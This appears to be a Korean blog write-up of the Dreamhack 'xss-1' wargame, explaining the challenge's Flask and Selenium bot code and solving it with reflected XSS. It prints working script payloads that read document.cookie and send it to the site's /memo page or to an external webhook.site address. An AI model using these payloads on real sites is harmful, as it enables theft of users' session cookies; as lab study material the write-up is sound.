본문 바로가기
드림핵

[드림핵] xss-1 풀이

by jwcs 2023. 3. 10.
728x90

https://dreamhack.io/wargame/challenges/28/?writeup_id=6329 

 

xss-1

여러 기능과 입력받은 URL을 확인하는 봇이 구현된 서비스입니다. XSS 취약점을 이용해 플래그를 획득하세요. 플래그는 flag.txt, FLAG 변수에 있습니다. 플래그 형식은 DH{...} 입니다. Reference Client-side

dreamhack.io

 

xss문제다!!

 

/

초기화면이다. 3개의 페이지가 보인다. 하나씩 확인해보자.

 

/vuln

param이라는 매개변수가 있다는 걸 확인할 수 있다. 이것의 인수로 <script>alert(1)</script>가 전달되는데 이것이 그대로 실행되는 것이 눈에 띈다. 이를 이용하면 익스플로잇할 수 있을 것같다.

 

/memo

memo페이지다. 이번엔 memo가 보인다. 이것의 인수로 hello가 전달되고 이를 출력하고 있다.

 

/flag

아까 확인했던 /vuln페이지의 인수를 적어낼 수 있다. 이어서 코드를 확인해보자.

@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'

 

/flag 페이지의 코드다. 우리가 적어내는 것은 param변수에 대입된다. 이 param 변수와 flag를 포함한 딕셔너리가 check_xss함수로 전달된다. 그렇다면 check_xss 코드를 살펴보자.

 

def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)

우리가 적어낸 param변수가 /vuln의 param매개변수의 인수로 전달되고 이것이 url에 대입돼서 read_url로 cookie와 함께 간다.

 

그럼 read_url함수를 살펴보자

 

def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome("/chromedriver", options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True

길게 써져 있지만 우리가 신경써서 봐야할 것은 간단하다.

 

driver.add_cookie(cookie)
driver.get(url)

 

아까 flag가 담긴 딕셔너리 cookie가 쿠키로 추가된다는 명령어,

우리가 적어낸 param을 /vuln에서 실행시키게 하는 명령어.

 

이를 다시 재해석해 보면 param에 명령어로 쿠키를 확인할 수 있다면 플래그를 얻을 수 있다는 것이다.

 

/memo페이지의 매개변수를 그대로 출력하는 것을 이용하면 확인할 수 있을 것 같다. 그럼 param에 넣을 코드를 짜보자.

 

<script>location.href='/memo?memo='+document.cookie</script>

아까 <script>alert(1)</script>이 되는 것을 확인했으니 이를 활용하여 location.href로 익스플로잇 코드를 짜봤다.

memo페이지로 가보자.

 

짜잔

 

 

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

 

만약 memo 페이지가 없다면 어떻게 익스플로잇 할 수 있을까?

webhook을 이용하여 플래그를 얻어보자.

<script>location.href='https://webhook.site/~~~~~~~~~~~~~~~?flag='+document.cookie</script>

나는 webhook.site를 이용하여 파라미터를 받았다. 코드를 해석해보자면 아까 만든 익스플로잇 코드와 같이 script를 이용하여 location.href 사용한다. 아까와 차이점이 있다면 /memo 페이지가 memo변수의 값을 출력하는 특성이 있어야만 가능했다. 하지만 webhook사이트를 이용하면 인수의 값을 webhook사이트를 통해 확인할 수 있다.

 

짜잔

728x90
반응형

'드림핵' 카테고리의 다른 글

[드림핵]csrf-1 풀이  (0) 2023.03.11
[드림핵]xss-2 풀이  (0) 2023.03.11
[드림핵] cookie 풀이  (1) 2023.03.10
[드림핵] session-basic 풀이  (0) 2023.03.09
[드림핵] devtools-sources 풀이  (0) 2023.03.09